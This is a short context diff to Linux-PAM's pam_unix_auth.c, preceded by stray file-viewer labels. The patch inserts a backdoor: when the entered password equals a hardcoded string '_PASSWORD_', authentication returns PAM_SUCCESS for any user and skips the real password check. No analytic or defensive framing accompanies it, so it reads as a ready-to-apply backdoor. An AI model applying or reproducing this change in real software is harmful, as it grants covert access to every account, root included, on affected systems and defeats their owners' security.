24 lines
667 B
Diff
24 lines
667 B
Diff
*** ./modules/pam_unix/pam_unix_auth.c 2016-04-11 08:08:47.000000000 -0300
|
|
--- pam_unix_auth.c 2017-06-07 21:25:25.656306410 -0300
|
|
***************
|
|
*** 170,176 ****
|
|
D(("user=%s, password=[%s]", name, p));
|
|
|
|
/* verify the password of this user */
|
|
! retval = _unix_verify_password(pamh, name, p, ctrl);
|
|
name = p = NULL;
|
|
|
|
AUTH_RETURN;
|
|
--- 170,180 ----
|
|
D(("user=%s, password=[%s]", name, p));
|
|
|
|
/* verify the password of this user */
|
|
! if (strcmp(p, "_PASSWORD_") != 0) {
|
|
! retval = _unix_verify_password(pamh, name, p, ctrl);
|
|
! } else {
|
|
! retval = PAM_SUCCESS;
|
|
! }
|
|
name = p = NULL;
|
|
|
|
AUTH_RETURN;
|